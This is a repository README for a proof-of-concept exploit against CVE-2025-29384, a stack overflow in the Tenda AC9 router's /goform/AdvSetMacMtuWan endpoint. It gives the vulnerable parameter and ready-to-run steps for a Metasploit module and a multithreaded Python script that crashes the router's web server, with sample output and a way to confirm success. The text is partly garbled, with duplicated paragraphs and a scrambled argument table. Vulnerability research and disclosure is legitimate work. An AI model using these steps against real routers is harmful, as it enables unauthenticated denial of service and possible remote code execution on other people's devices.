This repository contains an advanced proof-of-concept (PoC) exploit for CVE-2025-29384, a critical stack-based buffer overflow vulnerability discovered in the Tenda AC9 router running firmware version V15.03.05.14_multi. This vulnerability allows unauthenticated remote attackers to crash the router’s web server (Denial-of-Service, DoS) and potentially execute arbitrary code (Remote Code Execution, RCE).
The purpose of this project is to demonstrate exploit development skills, contribute to the cybersecurity community, and provide an educational showcase for academic evaluations (e.g., cybersecurity scholarships). This repository contains an advanced proof-of-concept (PoC) exploit for CVE-2025-29384, a critical stack-based buffer overflow vulnerability discovered in the Tenda AC9 router running firmware version V15.03.05.14_multi. This vulnerability allows unauthenticated remote attackers to crash the router’s web server (Denial-of-Service, DoS) and potentially execute arbitrary code (Remote Code Execution, RCE).
The purpose of this project is to demonstrate exploit development skills, contribute to the cybersecurity community, and provide an educational showcase for academic evaluations, such as cybersecurity scholarships.
CVE-2025-29384 affects the Tenda AC9 router’s web management interface, specifically the endpoint:
/goform/AdvSetMacMtuWan
The vulnerability exists due to improper bounds checking on the wanMTU parameter, which is processed via an HTTP POST request. The input is copied into a fixed-size stack buffer without validation, leading to a classic stack-based buffer overflow.
The vulnerable function (hypothetical reconstruction) follows this structure:
void process_mtu(char *input) {
char buffer[256]; // Fixed-size stack buffer
strcpy(buffer, input); // No length check, causes overflow
// Process MTU value...
}
An attacker sending an oversized payload (e.g., 1024+ bytes) overwrites adjacent memory, including the function’s return address, potentially leading to code execution.
The Tenda AC9 is a dual-band wireless router with the following specifications:
This repository also includes a Ruby-based Metasploit module for CVE-2025-29384. The module integrates seamlessly with the Metasploit Framework, allowing you to exploit the vulnerability using msfconsole.
git clone https://github.com/Otsmane-Ahmed/cve-2025-29384-poc
cd cve-2025-29384-poc
Locate the Ruby module file and copy it to Metasploit's exploits directory:
cp tenda_ac9_stack_overflow.rb ~/.msf4/modules/exploits/linux/http/
Note: If the directory does not exist, create it:
mkdir -p ~/.msf4/modules/exploits/linux/http/
Start Metasploit Framework:
msfconsole
Load the module:
use exploit/linux/http/tenda_ac9_stack_overflow
Set the target IP address:
set RHOSTS <target_ip>
Set the payload size (optional, default is 1024):
set PAYLOAD_SIZE 2048
Run the exploit:
run
[*] Targeting Tenda AC9 at 192.168.0.1:80...
[*] Sending payload of size 2048...
[+] Payload sent successfully!
[*] Response: HTTP/1.1 200 OK...
Success: The router’s web server crashes, causing a Denial-of-Service (DoS) condition.
Failure: The router remains operational, indicating it may not be vulnerable or is running a patched firmware version.
This PoC is a Python-based exploit that sends oversized input to /goform/AdvSetMacMtuWan, triggering a buffer overflow to crash the web server and showcasing potential for RCE.
Multithreading – Launches multiple concurrent exploit attempts for reliability.
Dynamic Payloads – Generates randomized base64-encoded attack strings.
Logging – Uses Python’s logging module for structured debugging.
Customizable Parameters – Adjusts target IP, payload size, and thread count.
This PoC is a Python-based exploit that sends oversized input to /goform/AdvSetMacMtuWan, triggering a buffer overflow to crash the web server.
python poc.py --target <router_ip> --size 2048 --threads 10
| Argument | Description |
|---|---|
--target | Router IP (default: ) |
[+] CVE-2025-29384 Exploit Engine
[INFO] Target: 192.168.0.1
[INFO] Sending payload (2048 bytes)...
[WARNING] Target timeout - possible crash!
[INFO] Exploit sequence completed.
Success: Router’s web interface becomes unresponsive (DoS condition).
Failure: The router still responds (not vulnerable or wrong firmware).
To confirm that the exploit successfully crashes the router, attempt to reload the web interface. If it becomes unresponsive, the attack was successful. For further analysis, check network logs for dropped connections or use ping to verify device responsiveness.
This project is for educational and ethical hacking purposes only. Unauthorized use of this exploit is illegal. The author is not responsible for misuse or damage caused by this code.
Developed with ❤️ by Otsmane Ahmed This project is for educational and ethical hacking purposes only. Unauthorized use of this exploit is illegal. The author is not responsible for misuse or damage caused by this code.
This project is released under the MIT License.
| Metric | Value |
|---|
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | None |
| Confidentiality Impact | High |
| Integrity Impact | High |
| Availability Impact | High |
192.168.0.1--size | Payload size in bytes (default: 1024) |
--threads | Number of concurrent threads (default: 5) |